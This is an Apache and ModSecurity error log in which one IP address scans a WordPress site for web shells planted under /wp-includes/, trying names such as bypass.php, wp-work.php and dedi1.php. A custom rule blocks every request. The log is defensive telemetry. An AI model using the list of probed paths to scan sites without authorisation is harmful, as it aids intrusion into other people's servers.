[Tue Apr 07 20:28:08.995156 2026] [proxy_fcgi:error] [pid 37719:tid 37737] [client 62.197.144.37:49366] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:09.403499 2026] [:error] [pid 37719:tid 37731] [client 62.197.144.37:49366] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/infi.php"] [unique_id "adT4WU09Xv52u2xXGLAawwAAAMk"]
[Tue Apr 07 20:28:10.638001 2026] [proxy_fcgi:error] [pid 37598:tid 37661] [client 62.197.144.37:49376] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:11.050294 2026] [:error] [pid 37598:tid 37665] [client 62.197.144.37:49376] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "adT4W-9g7q_cV2WhPay3xgAAAIQ"]
[Tue Apr 07 20:28:12.695160 2026] [proxy_fcgi:error] [pid 37597:tid 37655] [client 62.197.144.37:49378] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:13.103905 2026] [:error] [pid 37597:tid 37650] [client 62.197.144.37:49378] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "adT4XQ6uAY0QAy-8EEJ3cAAAAFA"]
[Tue Apr 07 20:28:13.915968 2026] [:error] [pid 59804:tid 59822] [client 62.197.144.37:49043] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "adT4XXYVIXiPh5_eJTmoqwAAAhA"]
[Tue Apr 07 20:28:14.765283 2026] [proxy_fcgi:error] [pid 37596:tid 37611] [client 62.197.144.37:51672] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:15.191436 2026] [proxy_fcgi:error] [pid 37596:tid 37608] [client 62.197.144.37:51672] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:16.889998 2026] [:error] [pid 37596:tid 37620] [client 62.197.144.37:51672] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "adT4YKpaAOZHEjRWjP2cjAAAAA4"]
[Tue Apr 07 20:28:18.120414 2026] [:error] [pid 59551:tid 59563] [client 62.197.144.37:20916] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "adT4Yl7LN7Ubyqs-sVsIQwAAAYo"]
[Tue Apr 07 20:28:18.994037 2026] [proxy_fcgi:error] [pid 37598:tid 37663] [client 62.197.144.37:51688] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:20.271266 2026] [:error] [pid 37598:tid 37667] [client 62.197.144.37:51688] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/edit.php"] [unique_id "adT4ZO9g7q_cV2WhPay30QAAAIY"]
[Tue Apr 07 20:28:22.826956 2026] [proxy_fcgi:error] [pid 37597:tid 37655] [client 62.197.144.37:51702] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:23.819244 2026] [proxy_fcgi:error] [pid 37597:tid 37657] [client 62.197.144.37:51702] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:24.315806 2026] [:error] [pid 37597:tid 37644] [client 62.197.144.37:51702] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "adT4aA6uAY0QAy-8EEJ3iwAAAEo"]
[Tue Apr 07 20:28:25.885775 2026] [proxy_fcgi:error] [pid 37719:tid 37739] [client 62.197.144.37:53206] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:26.715410 2026] [:error] [pid 37719:tid 37745] [client 62.197.144.37:53206] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/click.php"] [unique_id "adT4ak09Xv52u2xXGLAa4wAAANc"]
[Tue Apr 07 20:28:29.502028 2026] [proxy_fcgi:error] [pid 37719:tid 37738] [client 62.197.144.37:53214] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:30.746609 2026] [:error] [pid 37719:tid 37737] [client 62.197.144.37:53214] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "adT4bk09Xv52u2xXGLAa8QAAAM8"]
[Tue Apr 07 20:28:31.980027 2026] [proxy_fcgi:error] [pid 37597:tid 37643] [client 62.197.144.37:53216] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:32.805314 2026] [proxy_fcgi:error] [pid 37597:tid 37646] [client 62.197.144.37:53216] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:33.218708 2026] [proxy_fcgi:error] [pid 37597:tid 37658] [client 62.197.144.37:53216] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:34.042613 2026] [proxy_fcgi:error] [pid 37597:tid 37645] [client 62.197.144.37:53216] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:34.451016 2026] [:error] [pid 37597:tid 37657] [client 62.197.144.37:53216] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "adT4cg6uAY0QAy-8EEJ3vwAAAFc"]
[Tue Apr 07 20:28:35.263405 2026] [:error] [pid 37597:tid 37647] [client 62.197.144.37:49974] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "adT4cw6uAY0QAy-8EEJ30AAAAE0"]
[Tue Apr 07 20:28:36.080980 2026] [:error] [pid 59490:tid 59508] [client 62.197.144.37:49986] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "adT4dEcw8OFbiUZ7Rx1pmAAAAVA"]
[Tue Apr 07 20:28:36.895678 2026] [:error] [pid 37597:tid 37645] [client 62.197.144.37:49994] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "adT4dA6uAY0QAy-8EEJ33AAAAEs"]
[Tue Apr 07 20:28:37.725974 2026] [proxy_fcgi:error] [pid 37597:tid 37634] [client 62.197.144.37:50008] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:38.448998 2026] [:error] [pid 37597:tid 37641] [client 62.197.144.37:50008] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "adT4dg6uAY0QAy-8EEJ35AAAAEc"]
[Tue Apr 07 20:28:39.266481 2026] [:error] [pid 37597:tid 37658] [client 62.197.144.37:12696] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "adT4dw6uAY0QAy-8EEJ36QAAAFg"]
[Tue Apr 07 20:28:40.090306 2026] [proxy_fcgi:error] [pid 37719:tid 37742] [client 62.197.144.37:50026] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:40.912334 2026] [:error] [pid 37719:tid 37741] [client 62.197.144.37:50026] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "adT4eE09Xv52u2xXGLAbAwAAANM"]
[Tue Apr 07 20:28:41.737477 2026] [:error] [pid 37719:tid 37725] [client 62.197.144.37:45811] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "adT4eU09Xv52u2xXGLAbBAAAAMM"]
[Tue Apr 07 20:28:42.586222 2026] [:error] [pid 37719:tid 37743] [client 62.197.144.37:50044] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "adT4ek09Xv52u2xXGLAbBwAAANU"]
[Tue Apr 07 20:28:43.421073 2026] [:error] [pid 59804:tid 59818] [client 62.197.144.37:54860] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "adT4e3YVIXiPh5_eJTmowAAAAgw"]
[Tue Apr 07 20:28:44.660544 2026] [:error] [pid 37719:tid 37736] [client 62.197.144.37:54874] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "adT4fE09Xv52u2xXGLAbDQAAAM4"]
[Tue Apr 07 20:28:46.321541 2026] [:error] [pid 37597:tid 37650] [client 62.197.144.37:54888] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "adT4fg6uAY0QAy-8EEJ38wAAAFA"]
[Tue Apr 07 20:28:47.149509 2026] [proxy_fcgi:error] [pid 59551:tid 59572] [client 62.197.144.37:54892] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:48.396908 2026] [proxy_fcgi:error] [pid 59551:tid 59555] [client 62.197.144.37:54892] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:48.808171 2026] [:error] [pid 59551:tid 59561] [client 62.197.144.37:54892] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "adT4gF7LN7Ubyqs-sVsIawAAAYg"]
[Tue Apr 07 20:28:50.049002 2026] [proxy_fcgi:error] [pid 59660:tid 59684] [client 62.197.144.37:54900] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:50.466386 2026] [proxy_fcgi:error] [pid 59660:tid 59678] [client 62.197.144.37:54900] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:52.126502 2026] [proxy_fcgi:error] [pid 59660:tid 59676] [client 62.197.144.37:54900] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:52.537914 2026] [:error] [pid 59660:tid 59681] [client 62.197.144.37:54900] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "adT4hDp3-oiX2o5bTswTKgAAAdM"]
[Tue Apr 07 20:28:53.365474 2026] [proxy_fcgi:error] [pid 12948:tid 12967] [client 62.197.144.37:41016] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:54.608177 2026] [:error] [pid 12948:tid 12972] [client 62.197.144.37:41016] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "adT4hsbeSPAN8LvMqsaurwAAARU"]
[Tue Apr 07 20:28:55.432252 2026] [:error] [pid 59551:tid 59558] [client 62.197.144.37:41020] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "adT4h17LN7Ubyqs-sVsIcAAAAYU"]
[Tue Apr 07 20:28:57.880881 2026] [:error] [pid 37597:tid 37658] [client 62.197.144.37:41028] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "adT4iQ6uAY0QAy-8EEJ4FQAAAFg"]
[Tue Apr 07 20:28:59.509769 2026] [proxy_fcgi:error] [pid 37596:tid 37609] [client 62.197.144.37:41040] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:28:59.918744 2026] [proxy_fcgi:error] [pid 37596:tid 37607] [client 62.197.144.37:41040] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:00.331848 2026] [proxy_fcgi:error] [pid 37596:tid 37620] [client 62.197.144.37:41040] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:00.742381 2026] [proxy_fcgi:error] [pid 37596:tid 37625] [client 62.197.144.37:41040] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:03.974971 2026] [:error] [pid 37596:tid 37617] [client 62.197.144.37:41040] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "adT4j6paAOZHEjRWjP2cpwAAAAs"]
[Tue Apr 07 20:29:04.794094 2026] [:error] [pid 37597:tid 37646] [client 62.197.144.37:39074] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "adT4kA6uAY0QAy-8EEJ4NwAAAEw"]
[Tue Apr 07 20:29:05.640534 2026] [:error] [pid 37597:tid 37640] [client 62.197.144.37:18586] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "adT4kQ6uAY0QAy-8EEJ4QQAAAEY"]
[Tue Apr 07 20:29:06.465322 2026] [:error] [pid 59551:tid 59569] [client 62.197.144.37:39082] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "adT4kl7LN7Ubyqs-sVsIhAAAAZA"]
[Tue Apr 07 20:29:07.282968 2026] [:error] [pid 59804:tid 59807] [client 62.197.144.37:39092] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "adT4k3YVIXiPh5_eJTmo8gAAAgE"]
[Tue Apr 07 20:29:08.130103 2026] [:error] [pid 59551:tid 59565] [client 62.197.144.37:39106] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "adT4lF7LN7Ubyqs-sVsIiQAAAYw"]
[Tue Apr 07 20:29:09.357408 2026] [:error] [pid 37719:tid 37739] [client 62.197.144.37:39112] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "adT4lU09Xv52u2xXGLAbLgAAANE"]
[Tue Apr 07 20:29:10.169554 2026] [:error] [pid 37719:tid 37729] [client 62.197.144.37:41392] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "adT4lk09Xv52u2xXGLAbMAAAAMc"]
[Tue Apr 07 20:29:10.992828 2026] [:error] [pid 12948:tid 12956] [client 62.197.144.37:39118] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "adT4lsbeSPAN8LvMqsauwAAAAQU"]
[Tue Apr 07 20:29:11.829924 2026] [:error] [pid 37598:tid 37678] [client 62.197.144.37:39134] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "adT4l-9g7q_cV2WhPay4GAAAAJE"]
[Tue Apr 07 20:29:13.485813 2026] [:error] [pid 59490:tid 59492] [client 62.197.144.37:39146] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "adT4mUcw8OFbiUZ7Rx1pswAAAUA"]
[Tue Apr 07 20:29:14.715993 2026] [:error] [pid 12948:tid 12965] [client 62.197.144.37:60512] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "adT4msbeSPAN8LvMqsauxQAAAQ4"]
[Tue Apr 07 20:29:15.542405 2026] [proxy_fcgi:error] [pid 59551:tid 59575] [client 62.197.144.37:60526] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:16.368537 2026] [:error] [pid 59551:tid 59565] [client 62.197.144.37:60526] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "adT4nF7LN7Ubyqs-sVsIlwAAAYw"]
[Tue Apr 07 20:29:18.058728 2026] [:error] [pid 37598:tid 37676] [client 62.197.144.37:60534] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "adT4nu9g7q_cV2WhPay4GwAAAI8"]
[Tue Apr 07 20:29:18.888863 2026] [proxy_fcgi:error] [pid 12948:tid 12960] [client 62.197.144.37:60546] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:19.721367 2026] [proxy_fcgi:error] [pid 12948:tid 12953] [client 62.197.144.37:60546] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:20.134159 2026] [:error] [pid 12948:tid 12962] [client 62.197.144.37:60546] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "adT4oMbeSPAN8LvMqsauygAAAQs"]
[Tue Apr 07 20:29:21.363473 2026] [proxy_fcgi:error] [pid 37597:tid 37654] [client 62.197.144.37:60556] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:21.775380 2026] [proxy_fcgi:error] [pid 37597:tid 37635] [client 62.197.144.37:60556] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:22.186460 2026] [proxy_fcgi:error] [pid 37597:tid 37650] [client 62.197.144.37:60556] AH01071: Got error 'Primary script unknown'
[Tue Apr 07 20:29:22.593776 2026] [:error] [pid 37597:tid 37643] [client 62.197.144.37:60556] [client 62.197.144.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "adT4og6uAY0QAy-8EEJ4UwAAAEk"]
[Tue Apr 07 20:29:23.440659 2026] [proxy_fcgi:error] [pid 37597:tid 37638] [client 62.197.144.37:13058] AH01071: Got error 'Primary script unknown'
